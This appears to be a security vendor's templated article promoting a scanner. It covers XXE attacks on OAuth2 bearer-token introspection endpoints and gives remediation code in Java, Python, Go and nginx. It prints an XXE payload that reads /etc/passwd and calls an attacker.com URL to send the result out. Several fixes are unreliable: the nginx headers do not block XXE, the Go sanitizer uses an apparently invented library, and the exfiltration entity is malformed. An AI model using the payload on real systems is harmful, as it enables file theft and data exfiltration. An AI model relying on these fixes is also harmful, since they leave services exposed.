CRITICAL xml external entitiesbearer tokens

Xml External Entities with Bearer Tokens

How Xml External Entities Manifests in Bearer Tokens

XML External Entity (XXE) vulnerabilities in Bearer Tokens contexts typically emerge when authentication tokens or related metadata are processed through XML-based systems. This manifests in several specific Bearer Tokens scenarios:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
  <!ENTITY ext SYSTEM "http://attacker.com/?token=&xxe;" >
]>
<token>&xxe;</token>
</code>

In Bearer Token implementations, XXE often appears when:

  • XML-based token introspection endpoints process token metadata without proper entity resolution
  • API gateways parse XML payloads containing bearer tokens for authorization
  • OAuth2 token exchange flows accept XML-formatted requests

The most dangerous Bearer Tokens-specific XXE variant involves exploiting the token introspection endpoint. When a service validates a bearer token by querying an introspection endpoint, an attacker can craft a malicious XML payload that causes the introspection service to:

  • Read sensitive files from the introspection server's filesystem
  • Make outbound requests to internal services using the introspection server's credentials
  • Exhaust server resources through recursive entity expansion

For example, a vulnerable introspection endpoint might process a token like this:

<?xml version="1.0" encoding="UTF-8"?>
<introspect>
  <token>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</token>
  <payload>&xxe;</payload>
</introspect>
</code>

Where the &xxe; entity resolves to a malicious payload that compromises the introspection service.

Bearer Tokens-Specific Detection

Detecting XXE vulnerabilities in Bearer Tokens systems requires specialized scanning that understands the authentication flow context. middleBrick's scanner specifically targets these Bearer Tokens scenarios:

Detection MethodBearer Tokens ContextRisk Level
XML Entity Resolution TestingToken introspection endpointsCritical
External DTD ProcessingOAuth2 XML endpointsHigh
Recursive Entity ExpansionAPI gateway XML processingMedium
Out-of-band InteractionToken exchange flowsHigh

middleBrick's Bearer Tokens-specific XXE detection includes:

middlebrick scan https://api.example.com/oauth2/introspect \
  --test-suite=xxe \
  --payload-type=xml \
  --auth-scheme=bearer

The scanner automatically tests for:

  • Local file access attempts through crafted XML entities
  • Network-based exfiltration using the introspection server's network context
  • Denial of service through exponential entity expansion
  • Parameter entity injection in XML processing pipelines

Key indicators that middleBrick detects include:

{
  "findings": [
    {
      "type": "XXE_BEARER_TOKEN",
      "severity": "critical",
      "location": "/oauth2/introspect",
      "description": "XML External Entity vulnerability in token introspection endpoint",
      "remediation": "Disable external entity resolution in XML parser configuration",
      "evidence": "Successful retrieval of /etc/passwd via crafted XML payload"
    }
  ]
}

Bearer Tokens-Specific Remediation

Remediating XXE vulnerabilities in Bearer Tokens systems requires both immediate patches and architectural changes. Here are Bearer Tokens-specific fixes:

1. XML Parser Configuration

// Vulnerable Java code
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));

// Secure Bearer Tokens-specific fix
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));

2. Token Introspection Hardening

# Vulnerable Flask endpoint
@app.route('/oauth2/introspect', methods=['POST'])
def introspect():
    data = request.get_data()
    doc = ET.fromstring(data)  # Vulnerable to XXE
    return process_introspection(doc)

# Secure Bearer Tokens-specific implementation
def secure_introspect():
    data = request.get_data()
    parser = ET.XMLParser()
    parser.parser.UseForeignDTD(False)
    parser.parser.SetLoadExternalEntities(False)
    doc = ET.fromstring(data, parser=parser)
    return process_introspection(doc)

3. Input Validation and Sanitization

// Bearer Tokens-specific XML sanitizer
func sanitizeXML(input []byte) ([]byte, error) {
    config := s9y.NewConfiguration()
    config.RemoveComments = true
    config.RemoveProcInst = true
    config.RemoveElements = []string{"!ENTITY", "!DOCTYPE"}
    
    sanitized, err := s9y.Sanitize(input, config)
    if err != nil {
        return nil, err
    }
    return sanitized, nil
}

// Usage in token processing
func processBearerToken(xmlPayload []byte) (*Token, error) {
    sanitized, err := sanitizeXML(xmlPayload)
    if err != nil {
        return nil, fmt.Errorf("input sanitization failed: %v", err)
    }
    return parseTokenXML(sanitized)
}

4. Network Layer Protection

# Bearer Tokens-specific Nginx configuration
location /oauth2/introspect {
    # Block XML external entity processing
    proxy_set_header X-Content-Type-Options "nosniff";
    
    # Rate limiting to prevent DoS via entity expansion
    limit_req zone=api_limit burst=10 nodelay;
    
    # Content security policy for XML processing
    add_header X-Permitted-Cross-Domain-Policies "none";
    
    # Only allow safe content types
    if ($content_type != 'application/xml' && $content_type != 'text/xml') {
        return 415;
    }
    
    proxy_pass http://introspection_backend;
}

Frequently Asked Questions

Can XXE in Bearer Tokens lead to complete system compromise?
Yes, XXE vulnerabilities in Bearer Tokens contexts can lead to complete system compromise. When an attacker successfully exploits XXE in a token introspection endpoint, they can read sensitive files, access internal services, and potentially execute arbitrary code on the server processing the tokens. The severity is particularly high because authentication systems are often privileged and have network access to critical internal services.
How does middleBrick detect XXE vulnerabilities in Bearer Tokens systems?
middleBrick detects XXE vulnerabilities in Bearer Tokens systems through active probing of XML processing endpoints. The scanner tests for external entity resolution, DTD processing, and recursive entity expansion specifically in authentication contexts like token introspection and OAuth2 endpoints. It uses a combination of local file access attempts, network-based exfiltration tests, and resource exhaustion detection to identify vulnerable XML parsers without requiring credentials or access to source code.